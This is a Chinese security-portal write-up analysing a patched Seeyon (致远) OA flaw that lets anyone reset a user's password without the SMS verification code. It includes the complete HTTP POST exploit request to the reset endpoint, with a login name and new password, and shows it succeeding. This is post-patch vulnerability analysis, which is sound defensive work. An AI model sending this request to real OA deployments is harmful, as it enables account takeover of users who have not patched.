freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深信服华中天慧战队:致远OA 短信验证码绕过重置密码漏洞分析
2023-12-18 00:31:29

下载补丁

1702830528_657f21c0e1ca55e16d1d2.png!small

进入idea搜索该类

1702830539_657f21cba8b2100de8f5b.png!small

将该文件与补丁进行比较

1702830554_657f21da22705cc79baaa.png!small

初步分析发现漏洞点主要出现在resetPassword方法,补丁中通过if语句增加了登录验证

1702830563_657f21e3a22bf77e428db.png!small

看不懂代码可以丢给chatgpt分析一下代码

1702830573_657f21ed380cb2ca35d2d.png!small

阅读代码后发现只判断了loginName是否为空,不为空则通过loginName查找绑定的手机号手机号

1702830582_657f21f6bd21235b2c9d2.png!small

然后通过手机号重置密码,中间的if判断不需要验证码

1702830590_657f21fec62a20d87794f.png!small

分析完漏洞触发点,接着该考虑如何利用该漏洞。

发现post传入json数据,参数是loginName和password,相对路径是/phoneCode/resetPassword

1702830599_657f220746fee824a4f93.png!small

利用vscode打开致远oa源代码文件夹ApacheJetspeed,搜索phoneCode/resetPassword,发现完整/rest/phoneLogin/phoneCode/resetPassword。因为致远oa前面路由都得加上/seeyon,所以完整路径为/seeyon/rest/phoneLogin/phoneCode/resetPassword

1702830609_657f22114b7cf47d86e6c.png!small

构造payload

POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: 192.168.136.55
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 45
Content-Type: application/json
Accept-Encoding: gzip

{"loginName": "test","password":"1qaz@WSX"}

修改成功

1702830621_657f221d1350153056f0e.png!small

存在漏洞但该用户未绑定手机号

1702830631_657f2227e1d9ad5dc8119.png!small

漏洞修复后

1702830648_657f2238064944778a191.png!small

# web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者